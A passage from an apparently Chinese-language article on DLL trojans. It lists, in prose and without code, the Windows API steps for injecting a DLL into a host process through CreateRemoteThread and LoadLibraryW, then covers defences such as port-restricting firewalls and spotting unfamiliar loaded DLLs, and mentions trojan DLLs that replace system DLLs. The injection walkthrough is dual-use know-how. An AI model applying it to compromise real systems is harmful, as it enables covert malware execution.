从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为：
（1）取得宿主进程（即要注入木马的进程）的进程ID dwRemoteProcessId；
（2）取得DLL的完全路径，并将其转换为宽字符模式pszLibFileName；
（3）利用Windows API OpenProcess打开宿主进程，应该开启下列选项：
a.PROCESS_CREATE_THREAD：允许在宿主进程中创建线程；
b.PROCESS_VM_OPERATION：允许对宿主进程中进行VM操作；
c.PROCESS_VM_WRITE：允许对宿主进程进行VM写。
（4）利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间，并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间；
（5）利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址，这个函数将作为随后将启动的远程线程的入口函数；
（6）利用Windows API CreateRemoteThread启动远程线程，将LoadLibraryW的地址作为远程线程的入口函数地址，将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL；
（7）清理现场。
DLL木马的防治 从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式，这可以帮助我们更好地理解DLL木马病毒的防治手段。
一般的木马被植入后要打开一网络端口与攻击程序通信，所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查，我们可以让防火墙对通讯端口进行限制，只允许系统接受几个特定端口的数据请求。这样，即使木马植入成功，攻击者也无法进入到受侵系统，防火墙把攻击者和木马分隔开来了。
对于DLL木马，一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL，如果其中有一些莫名其妙的DLL，则可以断言这个进程是宿主进程，系统被植入了DLL木马。"道高一尺，魔高一丈"，现如今，DLL木马也发展到了更高的境界，它们看起来也不再"莫名其妙"。在最新的一些木马里面，开始采用了先进的DLL陷阱技术，编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤，对于正常的调用，使用函数转发器直接转发给被替换的系统DLL；对于一些事先约定好的特殊情况，DLL会执行一些相应的操作。
本文给出的只是DLL木马最简单情况的介绍，读者若有兴趣深入研究，可以参考其它资料。